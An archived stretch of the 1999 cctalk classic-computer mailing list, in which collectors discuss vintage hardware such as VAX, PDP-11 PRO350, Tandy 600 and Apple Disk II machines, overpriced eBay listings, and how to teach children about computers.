bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:40:04 2005 Subject: What's a VAX 6000/300 ? In-Reply-To: <4.1.19990112095534.009d4ea0@mailhost.hq.freegate.com> Message-ID: <3.0.5.32.19990112184607.009425a0@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 635 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990112/115f0265/attachment.bin From jrkeys at concentric.net Tue Jan 12 20:50:17 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:04 2005 Subject: Computer Collecting Books [WAS: Dr. Dobb's article] In-Reply-To: <3.0.32.19990112194634.006e6274@cadvision.com> Message-ID: <000901be3e9f$73a70380$5eb0adce@5x86jk> Another one that I really like is Stan Veit's History of The Personal Computer it's a great reference source with photos so that you know what to look for. He writes a little history about each machine. It's still only $3 from the guy on ebay. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Mark Gregory > Sent: Tuesday, January 12, 1999 8:47 PM > To: Discussion re-collecting of classic computers > Subject: Computer Collecting Books [WAS: Dr. Dobb's article] > > > At 04:24 PM 1/12/99 -0800, you wrote: > > >There is also Haddock's book of a similar name. Unfortunately, > my copy has > >gone missing. It's around somewhere, but Rachel has been cleaning up my > >room, and I'm lucky to be able to find a clean shirt, let alone something > >important like a classic computer book. 8^) > > > > > >--------------------------------------------------------------------- O- > > > >Uncle Roger "There is pleasure pure in being mad > >roger@sinasohn.com that none but madmen know." > > Haddock's book is A Collector's Guide to Personal Computers and Pocket > Calculators, > subtitled A Historical, Rarity, and Value Guide, by Dr. Thomas F. Haddock, > Books Americana, Florence, Alabama, 1993. ISBN 0-89689-098-8. > > I found it useful as a reference, but dated; it doesn't include many > machines after the Amiga 1000, and the prices are way out of date. Also, > the information about many machines is incomplete (e.g. no production > estimates, original list prices, details). The book also has a lot of > material on 70s vintage hobbyist machines and peripherals (e.g. Altair, > IMSAI, many more obscure others) that are largely unobtainable where I > live. Still, fun to browse through, and one of the few references > available > for our hobby. > > Mark. > From kyrrin at my-dejanews.com Tue Jan 12 21:02:34 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:40:04 2005 Subject: FW: Fellow needs help using a paper tape reader Message-ID: <369e0c86.981526871@smtp.jps.net> Can someone please get in touch with this guy? He asks a most interesting question. Thanks! Attachment follows. -=-=- -=-=- From: "Bill Mohler" Newsgroups: sci.electronics.misc Subject: Help: Paper tape reader to PC Date: Tue, 12 Jan 1999 14:51:55 -0500 Organization: A poorly-installed InterNetNews site Lines: 11 Message-ID: <77g9a4$ie4@news.cc.oberlin.edu> NNTP-Posting-Host: pmohler.physics.oberlin.edu X-Newsreader: Microsoft Outlook Express 4.72.3110.5 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Path: news1.jps.net!news.pbi.net!131.119.28.147!su-news-hub1.bbnplanet.com!news.gtei.net!newsfeed.berkeley.edu!news.cis.ohio-state.edu!malgudi.oar.net!news.cc.oberlin.edu!usenet Xref: news1.jps.net sci.electronics.misc:7212 Greetings, Any advice on how to attach a paper tape reader to an IBM compatible computer? How about making the PC emulate a tape reader? Sounds crazy, but we run some software from paper tape...would be easier if it were on disk. Thanks! -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From pechter at monmouth.com Tue Jan 12 21:03:58 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:04 2005 Subject: RT-11 Help In-Reply-To: <01be3e9a$e4087dc0$f3c962cf@devlaptop> from Mike at "Jan 12, 99 09:17:38 pm" Message-ID: <199901130303.WAA30447@pechter.ddns.org> > From: Jerome Fine > > >I believe that Mentec sells a full set of DOCS (about 3' in the > >13 binders) for about $ US 1300. You can also buy the V5.7 > >H-kit for about $ US 1600, or it was the last time I was > > *trying to stuff eyes back in sockets from whence they sprung* tell me this > is a fluke of international formatting. 130k pennies??? There go the eyes > again... >) > > - Mike: dogas@leading.net I'd love to buy a set from Mentec for 130k pennies... the shipping would kill me, though. --Bill (who sold his RT11 stuff off years ago and is having a hell of a time finding reasonably priced docs...) --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com | pechter@pechter.ddns.org From kurtkilgor at bigfoot.com Tue Jan 12 21:12:28 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children Message-ID: <199901130312.TAA11428@geocities.com> > Apparently you have not tried Visual Basic... How is that as easy as ROM BASIC? You turn the computer, and Visual Basic pops up immediately? I've yet to see such a computer (and if I do, I'll bash it to pieces with an axe, but that's another story)!. > At what level are you talking? I have not seen any sofware for kids (like > the knowledge adventure or humongous entertainment series) that would run on > Linux. It is hard to get a kid used to play with windows for 6 years and > tell him that it is crap and the one where you have to type long commands is > a lot better. We're talking about teaching _about_ computers, not teaching _with_ computers. Granted, Alvin and the Chipmunks software won't run on Linux (usually), and M$ Actimates won't work with it either...(echo "Hello, World!" > /dev/barney, anyone?) but those things won't help someone who wants to learn how a computer works. From fauradon at pclink.com Tue Jan 12 21:40:29 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:40:04 2005 Subject: computers for children Message-ID: <001001be3ea6$79912080$a943fea9@francois> I just can't wait till mine grow up too ;) >My son (6) fell in love with the Kaypro II as soon as he saw a picture of it >on the web, so I've promised him I'd get one.... not bad for the son of a >"Microserf". (grrr.) > >- Joe > > From yowza at yowza.com Tue Jan 12 21:38:20 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Ward D. Griffiths III wrote: > Well, I was reading before my fourth birthday, but there weren't any > (kid accessable) computers in 1959. I had to use paper. You wouldn't have had to use paper if you had been reading the right mags. I know of at least three distinct computer-like things that were available for under $40 in 1959: the Geniac/Tyniac/Brainiac (I'll count those as one), the Calculo analog computer, and the Microlog. I didn't have any of them when I was a kid either, but I wish I had. Paper's cool too, though. I thought I was going to be an artist until some sort of hormonal override kicked in. > Computers are good for a kid to learn. But books are critical. Books are OK. But I think the key is to present a kid with challenging space to explore on her own. Reading is pretty passive. Interactive computer instruction is less passive, but less rich than books and generally too confined a space for exploration. The best possible education: a laboratory, a bunch of reference manuals, and some compelling problems to solve. But that's just a metaphor for life, I guess. -- Doug From fauradon at pclink.com Tue Jan 12 21:58:18 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children Message-ID: <002f01be3ea8$f6067a00$a943fea9@francois> >> Apparently you have not tried Visual Basic... > >How is that as easy as ROM BASIC? You turn the computer, and Visual Basic >pops up immediately? I've yet to see such a computer (and if I do, I'll >bash it to pieces with an axe, but that's another story)!. Yes you can make your computer boot and load Visual Basic right away (you just have to wait a little longer:) What I meant by mentioning VB is that you can build a familiar interface very quickly and then add the code incrementally as you move along. VB takes care of all the extra stuff then you click on the play button and tada...(as a side note I do not like VB I just have to use it once in a while) > >We're talking about teaching _about_ computers, not teaching _with_ >computers. Granted, Alvin and the Chipmunks software won't run on Linux >(usually), and M$ Actimates won't work with it either...(echo "Hello, >World!" > /dev/barney, anyone?) but those things won't help someone who >wants to learn how a computer works. > Before you can really learn about computers you have to have an interest in it and so far I have not seen anything that could possibly interrest a kid that runs on Linux. Don't get me wrong, I don't think that MSBlows is THE solution but it is hard to make it simpler for a non computer litterate (actually for a kid who can't read it is strongly recommended to have a GUI but that's another chapter) If the kid starts asking questions on the under side of the machine then it is a good idea to switch to a machine that encourages the user to scratch under the surface. Francois From gram at cnct.com Tue Jan 12 22:27:18 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children References: Message-ID: <369C20A6.61D9D9B8@cnct.com> Doug Yowza wrote: > > On Tue, 12 Jan 1999, Ward D. Griffiths III wrote: > > > Well, I was reading before my fourth birthday, but there weren't any > > (kid accessable) computers in 1959. I had to use paper. > > You wouldn't have had to use paper if you had been reading the right mags. > I know of at least three distinct computer-like things that were available > for under $40 in 1959: the Geniac/Tyniac/Brainiac (I'll count those as > one), the Calculo analog computer, and the Microlog. When I was 3-4 years old, those magazines weren't available to me and I didn't have much spare cash anyway. And I didn't develop interest in mathematics until 3rd grade, when my teacher introduced me to it in an attempt to get me to start passing arithmetic. (I went to college as a mathematics major, but I _still_ hate arithmetic -- it's why I carried my slide rule through high school, and hated that I couldn't afford $400 for an HP-35 my junior year, it was faster and _lighter_ than that 10" Pickett in leather case). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From Jgzabol at aol.com Tue Jan 12 22:07:46 1999 From: Jgzabol at aol.com (Jgzabol@aol.com) Date: Sun Feb 27 18:40:04 2005 Subject: y2k stuff Message-ID: In einer eMail vom 12.01.1999 15:06:43, schreiben Sie: << I've come across enough machines that use 6-bit characters internally.... 6 Bit ? thats new - I never have seen a 6 Bit byte computer - I know 6 Bit only from some serial line encodings. >> 6 bit characters were quite the standard BEFORE /360 days, say for CDC 6600, CDC 7600 (the most powerful computers from mid-60s until the appearance of the CRAY-1 machines, forerunners of the Cyber 170 series), or IBM 7030, IBM 7090, IBM 7094 say, back in the '60s. They were not called bytes, and could not be addressed directly; there were 36 bit or 60 bit words, and shift / logical instructions used for character manipulation. In fact this is probably the origin for the six character namelength limit in FORTRAN IV : 6 chars x 6 bits = 36 bit word. John G. Zabolitzky From cmcmanis at freegate.com Tue Jan 12 22:45:45 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:04 2005 Subject: What's a VAX 6000/300 ? In-Reply-To: <3.0.5.32.19990112184607.009425a0@mail.bluefeathertech.com> References: <4.1.19990112095534.009d4ea0@mailhost.hq.freegate.com> Message-ID: <4.1.19990112204219.009b9ee0@208.226.86.10> It's at Berman Diversified Industries (www.berman.com) in San Jose CA. It will probably be part of next week's silent auction. It's actually a 6000/330 so I presume it has 3 CPUs. There is a rack with an RA82 and a tape drive sitting next to it so I'm guessing they will be two lots. I've any of my bids today won I'll see what number it is. Berman will deliver in the Bay Area (for a fee of course :-) --Chuck At 06:46 PM 1/12/99 -0800, you wrote: > > Where is it at? [the VAX] From zmerch at 30below.com Tue Jan 12 23:40:09 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:04 2005 Subject: Tandy 600 acting screwy In-Reply-To: <01be3c06$2ba73000$cb9ba6d1@the-general> Message-ID: <3.0.1.32.19990113004009.0095f100@mail.30below.com> On or about 11:28 AM 1/9/99 -0800, Jason Willgruber was caught in a dark alley speaking these words: >Hi! >I've got an old Tadny 600 laptop that I used to use for quick note-taking. >I "retired" it about a year ago when the battery would no longer run the >floppy and I had been given a Tandy 1400HD. Since then, the hard drive >controller in the 1400 has "lost the magic smoke", and I'd like to get the >600 running again. I replaced the NICd cells, charged them overnight, and >pressed the power switch. What do I get? Garbage filling the screen. I do >the 5-finger salute cold boot. Here's what I get: [snip] My 600 started doing this as well... but without the NiCd's in it at all. Methinks the nicads are necessary for voltage regulation or somesuch... One question: You mentioned replacing the nicads -- I don't know if this makes a difference, but did you use *hi-capacity* nicads??? The original nicads in the T600 were 4000mAh - the plain-jane RadioShack D-cell nicads are like 1800mAh or so, IIRC. Aim for RS's Hi-Capacity Nicads - 4500mAh - should increase that 11 hour (advertised) runtime by over an hour. Or just order a new Tandy battery pack - for $80.00. :-( Ummm, I don't think so!!! Will let you know when I get mine working (local RS only had 3 batteries... :-/ ). HTH, "Merch" ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From dastar at ncal.verio.com Tue Jan 12 23:50:33 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Tony Duell wrote: > That depends on what he is interested in... Access to that sort of ^^ <...> > If on the other hand he's interested in learning about computers - how ^^ <...> Tony, why did you assume only little boys would be interested in computers? This whole thread started as a result of Chuck looking for a computer for his daughter :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From dastar at ncal.verio.com Wed Jan 13 00:00:55 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: <4.1.19990112154512.00a65d80@mailhost.hq.freegate.com> Message-ID: On Tue, 12 Jan 1999, Chuck McManis wrote: > My current plan is: > Topic Lab Equipment > Computer Fundamentals PDP-8 with some custom I/O hardware. > Programming Fundamentals I C64 + TV > Introduction to Robotics Lego Mindstorms > Programming Fundamentals FreeBSD system > Introduction to Graphics I C64 + TV > Introduction to Graphics II FreeBSD system with custom graphics card Gee, I wish I was your daughter. My dad's idea of cirriculum was: Topic Lab Equipment Raking Leaves Rake Mowing Lawns Lawnmower Pulling Weeds Hands Killing woodland mammals Rifle Blasting avian creatures from sky Shotgun I had to learn everything else on my own :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From zmerch at 30below.com Wed Jan 13 00:12:27 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:04 2005 Subject: Seriously *bad* ebay auction... In-Reply-To: <3.0.1.32.19990113004009.0095f100@mail.30below.com> References: <01be3c06$2ba73000$cb9ba6d1@the-general> Message-ID: <3.0.1.32.19990113011227.0095f200@mail.30below.com> Just saw this on comp.sys.tandy... http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55937406 This guy is looking to sell his TRS-80 Model 1 for a minimum bid of $300! :-/ Of course, the std. "RARE!" and other schmutz is listed thruout the ad... 'Tis a damn shame... Just thought you'd like to see, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== for (1..15) { print "Merry Christmas\n"; } (from perl.1 man page, version 4.) From dastar at ncal.verio.com Wed Jan 13 00:10:48 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:04 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: Message-ID: On Tue, 12 Jan 1999, Fred Cisin (XenoSoft) wrote: > When going to the directory on a system without a track 0 stop or track > 0 switch, it DOES substantially reduce the average access. > > But, if there IS a track 0 stop, or track 0 switch, then it is normally > possible to get to track 0 at full maximum velocity, rather than stepping > one track at a time, pausing (and maybe reading) before taking the next step. > That usually makes even the maximum seek to track 0 take even less than > half the time that track by track stepping would. I don't know if this makes complete sense on the Apple disk drives. When you wanted to step, say, 5 tracks over, you massaged the stepper motor the requisite number of times to get it to where you assumed it would be 5 tracks over. Then the DOS went about its business reading for the sector it was looking for. If it didn't find it then it assumed a problem and recalibrated (to track 0), then stepped back the requisite number of times to get to the track you originally were headed for. This scheme resulted in 99.99999% success in jumping from track to track. And the CATALOG track was 17 (on a 34 track formatted disk). Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From healyzh at aracnet.com Wed Jan 13 00:28:25 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:04 2005 Subject: Smithsonian Computers (was: Seriously *bad* ebay auction...) In-Reply-To: <3.0.1.32.19990113011227.0095f200@mail.30below.com> References: <3.0.1.32.19990113004009.0095f100@mail.30below.com> <01be3c06$2ba73000$cb9ba6d1@the-general> Message-ID: >Just saw this on comp.sys.tandy... >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55937406 >This guy is looking to sell his TRS-80 Model 1 for a minimum bid of $300! :-/ >Of course, the std. "RARE!" and other schmutz is listed thruout the ad... >'Tis a damn shame... >Just thought you'd like to see, >Roger "Merch" Merchberger It does bring one interesting question to mind. How many of the computers in the Smithsonian are actually operational? Mind you I don't remember seeing a TRS-80 in the Smithsonian, but I've not been there since late '93. I got the impression then that a lot of them probably wouldn't work. Still back then the computer section was one of my favorite exhibits. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From dastar at ncal.verio.com Wed Jan 13 00:30:54 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:04 2005 Subject: Seriously *bad* ebay auction... In-Reply-To: <3.0.1.32.19990113011227.0095f200@mail.30below.com> Message-ID: On Wed, 13 Jan 1999, Roger Merchberger wrote: > Just saw this on comp.sys.tandy... > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55937406 > > This guy is looking to sell his TRS-80 Model 1 for a minimum bid of $300! :-/ > > Of course, the std. "RARE!" and other schmutz is listed thruout the ad... Ha! The seller's ebay handle is "harvard-mba"! Perhaps he failed the market research portion of his MBA training. BAHAHAHA. Moron. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From eric at brouhaha.com Wed Jan 13 00:49:54 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:04 2005 Subject: y2k stuff In-Reply-To: (Jgzabol@aol.com) References: Message-ID: <19990113064954.24355.qmail@brouhaha.com> John G. Zabolitzky wrote: > 6 bit characters were quite the standard BEFORE /360 days, say for > CDC 6600, CDC 7600 (the most powerful computers from mid-60s until > the appearance of the CRAY-1 machines, forerunners of the Cyber 170 series), > or IBM 7030, IBM 7090, IBM 7094 say, back in the '60s. > They were not called bytes, and could not be addressed directly; > there were 36 bit or 60 bit words, and shift / logical instructions used for > character manipulation. In fact this is probably the origin for the > six character namelength limit in FORTRAN IV : 6 chars x 6 bits = 36 bit word. All generally correct except for the 7030 (Stretch). Stretch used variable-length fields from 1 to 64 bits, and its native character set used 8 bits. The integer arithmetic instructions, however, were specificially designed to be useful on character data types from 4 to 8 bits. http://www.brouhaha.com/~eric/retrocomputing/stretch/ From eric at brouhaha.com Wed Jan 13 00:55:59 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:04 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: (message from Sam Ismail on Tue, 12 Jan 1999 22:10:48 -0800 (PST)) References: Message-ID: <19990113065559.24398.qmail@brouhaha.com> Fred Cisin wrote: > When going to the directory on a system without a track 0 stop or track > 0 switch, it DOES substantially reduce the average access. > > But, if there IS a track 0 stop, or track 0 switch, then it is normally > possible to get to track 0 at full maximum velocity, rather than stepping > one track at a time, pausing (and maybe reading) before taking the next step. > That usually makes even the maximum seek to track 0 take even less than > half the time that track by track stepping would. Sam Ismail wrote: > I don't know if this makes complete sense on the Apple disk drives. When > you wanted to step, say, 5 tracks over, you massaged the stepper motor the > requisite number of times to get it to where you assumed it would be 5 > tracks over. Then the DOS went about its business reading for the sector > it was looking for. If it didn't find it then it assumed a problem and > recalibrated (to track 0), then stepped back the requisite number of times > to get to the track you originally were headed for. This scheme resulted > in 99.99999% success in jumping from track to track. And the CATALOG > track was 17 (on a 34 track formatted disk). Also, Apple didn't use the fixed step rates that were standard in the industry. They accelerated and decelerated the carriage in order to get faster seeks. However, when they wanted to recalibrate the drive, instead of doing a normal seek to track 0, they did an outward seek of 48 tracks. Since it was only a 35 track drive, the positioner would hit the end stop and make an annoying loud grinding noise. So even though the Disk ][ had a track 0 stop, the use of track 17 for the catalog was quite appropriate. The average time to seek to track 17 was noticably lower than the average time to seek to track 0 (or the recalibrate time). Eric From sinasohn at ricochet.net Wed Jan 13 00:57:10 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:40:04 2005 Subject: Bulbs in parallel Message-ID: <3.0.16.19990112225718.40f7da26@ricochet.net> At 01:31 PM 1/11/99 -0600, you wrote: >> > Or an entire digital computer out of ropes and pulleys? >> >Gag? Mechanical computers are serious stuff, Hans. Like Danny Hillis' >tinker-toy tic-tic-toe machine: See also: http://moose.spesh.com/lego/ http://weirdrichard.com/machine.htm There was another one, but I can't seem to find the page now. --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From marvin at rain.org Wed Jan 13 01:04:34 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children References: Message-ID: <369C4582.4286DF55@rain.org> Sam Ismail wrote: > > I don't see anything wrong with BASIC as a useable language for kids. I > don't know why people are so down on it. Ok, so it doesn't have The main reason that *I* am aware of with people being down on BASIC is that it, in a sense, encourages writing spagetti code (probably with the inappropriate use of the GOTO statement.) From paulk at microsoft.com Wed Jan 13 01:10:25 1999 From: paulk at microsoft.com (Paul Kearns) Date: Sun Feb 27 18:40:04 2005 Subject: Seriously *bad* ebay auction... Message-ID: <8B57882C41A0D1118F7100805F9F68B50B5C9AF9@RED-MSG-45> > This guy is looking to sell his TRS-80 Model 1 for a minimum bid of $300! > :-/ And if you hurry, you can pop on over to Yahoo auctions and pick up an Apple //e with, quote, "lots of software, accesesories, etc". Only a mere $600. And, hey, no bids yet!! http://auctions.yahoo.com/auction/2190993. Have a ball. > Roger "Merch" Merchberger -- zmerch@30below.com Hardee har, Paul Kearns paulk@microsoft.com From jim at calico.litterbox.com Wed Jan 13 01:17:44 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children In-Reply-To: <369C4582.4286DF55@rain.org> from "Marvin" at Jan 12, 1999 11:04:34 PM Message-ID: <199901130717.AAA22956@calico.litterbox.com> > Sam Ismail wrote: > > > > I don't see anything wrong with BASIC as a useable language for kids. I > > don't know why people are so down on it. Ok, so it doesn't have > > The main reason that *I* am aware of with people being down on BASIC is that > it, in a sense, encourages writing spagetti code (probably with the > inappropriate use of the GOTO statement.) Actually, that too is a learning experience. You only build one spaghetti program that you'd like to maintain before you learn the error of your ways. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From marvin at rain.org Wed Jan 13 01:21:48 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:04 2005 Subject: FW: Fellow needs help using a paper tape reader References: <369e0c86.981526871@smtp.jps.net> Message-ID: <369C498C.8D9DD589@rain.org> Bruce Lane wrote: > > Can someone please get in touch with this guy? He asks a most > interesting question. > > > Any advice on how to attach a paper tape reader to an IBM compatible > computer? How about making the PC emulate a tape reader? > > Sounds crazy, but we run some software from paper tape...would be easier > if it were on disk. Ah yes, that was the first project I wrote in C. Had a paper tape reader hooked up to an NC Drill, and I got rather tired of the lack of paper tape editing utilities :). Replaced the tape reader with a connection to the parallel port of an XT ... after about two weeks of tracking down timing issues that caused occasional read errors. That program was still in use as of about six months ago, and still may be in use now. From kbd at ndx.net Wed Jan 13 01:25:19 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:04 2005 Subject: Seriously *bad* ebay auction... In-Reply-To: <8B57882C41A0D1118F7100805F9F68B50B5C9AF9@RED-MSG-45> Message-ID: <000601be3ec5$df8ea6e0$0a16d480@oemcomputer> Hey, don't forget that $100 Atari Belt buckle (only one at that price!!!) :-) > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Paul Kearns > Sent: Tuesday, January 12, 1999 11:10 PM > To: Discussion re-collecting of classic computers > Subject: RE: Seriously *bad* ebay auction... > > > > This guy is looking to sell his TRS-80 Model 1 for a minimum > bid of $300! > > :-/ > > And if you hurry, you can pop on over to Yahoo auctions and pick > up an Apple > //e with, quote, "lots of software, accesesories, etc". Only a mere $600. > And, hey, no bids yet!! > > http://auctions.yahoo.com/auction/2190993. Have a ball. > > > Roger "Merch" Merchberger -- zmerch@30below.com > > Hardee har, > Paul Kearns > paulk@microsoft.com > From adavie at mad.scientist.com Wed Jan 13 01:35:30 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:04 2005 Subject: Seriously *bad* ebay auction... Message-ID: <003801be3ec7$4d42f3c0$1901a8c0@titanic.bde.com.au> Not in the same league, but I noted to the seller of an Altair 8800b currently on eBay that, despite the item description's statement to the contrary, $3000 was NOT a low starting price. He begged to differ, stating that these things are going for over $6000 now. A -----Original Message----- From: Kirk Davis To: Discussion re-collecting of classic computers Date: Wednesday, January 13, 1999 6:41 PM Subject: RE: Seriously *bad* ebay auction... Hey, don't forget that $100 Atari Belt buckle (only one at that price!!!) :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990113/2c2165e0/attachment.html From marvin at rain.org Wed Jan 13 01:46:43 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:04 2005 Subject: Seriously *bad* ebay auction... References: <01be3c06$2ba73000$cb9ba6d1@the-general> <3.0.1.32.19990113011227.0095f200@mail.30below.com> Message-ID: <369C4F63.DE9861CC@rain.org> Roger Merchberger wrote: > > Just saw this on comp.sys.tandy... > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55937406 > > This guy is looking to sell his TRS-80 Model 1 for a minimum bid of $300! :-/ > > Of course, the std. "RARE!" and other schmutz is listed thruout the ad... Don't forget the $75 shipping! Of course if you look the handle of the person selling it, harvard_mba, that should explain a few things. And just to point out the obvious (as noted in discussions of a couple years ago), this unit HAS the numeric keypad :)! From kbd at ndx.net Wed Jan 13 01:50:46 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:04 2005 Subject: Greetings and Questions In-Reply-To: <000601be3ec5$df8ea6e0$0a16d480@oemcomputer> Message-ID: <000a01be3ec9$6dd6e0e0$0a16d480@oemcomputer> Hi all - I'm new to the mailing list and have just started collecting various pieces of retro computer paraphernalia. Had some fun today at the local salvage yard prying open a VAX 8800 looking for interesting bits. Did manage to get the console. Various people have told me that this is most likely a PRO350 or PRO380 (PDP!!!!). Looking inside it's got a RD52 and a set of floppies along with the associated controller cards and the main board. It appears to be in good shape - when I turn on the power, it goes though it's self test and appears to boot from the hard disk. Now for the questions: 1. What are my options are far as os'? I'm told that it most likely has a subset of RT11 on the drive. Is this my only option or is it possible to install other PDP11 based os' on this system? 2. The back panel has a serial port and a monitor port (along with what appears to be a printer and AUI network port). There is no direct keyboard input that I can see. I connected a serial terminal to the system and tried various baud rates and parity selections (300-19200, 8-n-1 & 7-e,1) and have been unable to get the system to respond. I'd assume some sort of signon banner at boot but since this was a dedicated console for a vax it's limited to the output only on the other monitor port? Maybe someone can enlighten me.... Thanks muchly for any info, Kirk Davis From dastar at ncal.verio.com Wed Jan 13 03:38:37 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:04 2005 Subject: NorthStar Dimension Message-ID: Was anyone aware that in 1984 North Star Computers introduced the North Star Dimension, a DOS-compatible "workstation"? Seems to have been a typical IBM PC XT clone. North Star's last foray into computers before they folded altogether no doubt. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From Hans.Franke at mch20.sbs.de Wed Jan 13 06:54:16 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:04 2005 Subject: Osborne 01 for only $5000.00 In-Reply-To: <368B5F69.462A9401@mindspring.com> Message-ID: <199901131155.LAA12134@nixpbe.pdb.sni.de> > An Osborne 01 for an opening bid of only $5000.00 HeHeHe!!! > As stated in the ad it could be a "Corner Stone" of your computer > collection.. > He is even generous enough to include free shipping.. HeHe!! > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=50980862 > Funny thing there are no bids on it yet.. Now he has relisted: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=55156048 and the price is building up, fairly high through (355USD). (Also the Shipment is no longer free :) Gruss H. -- Ich denke, also bin ich, also gut HRK From fauradon at pclink.com Wed Jan 13 06:34:37 1999 From: fauradon at pclink.com (Francois) Date: Sun Feb 27 18:40:04 2005 Subject: Computers for children Message-ID: <001001be3ef1$160c5520$a943fea9@francois> Do you know that you ca structure you BASIC code also? I haven't used a GOTO statement in BASIC since I learned C. >> The main reason that *I* am aware of with people being down on BASIC is that >> it, in a sense, encourages writing spagetti code (probably with the >> inappropriate use of the GOTO statement.) > >Actually, that too is a learning experience. You only build one spaghetti >program that you'd like to maintain before you learn the error of your ways. > >-- >Jim Strickland >jim@DIESPAMMERSCUMcalico.litterbox.com >----------------------------------------------------------------------- >Vote Meadocrat! 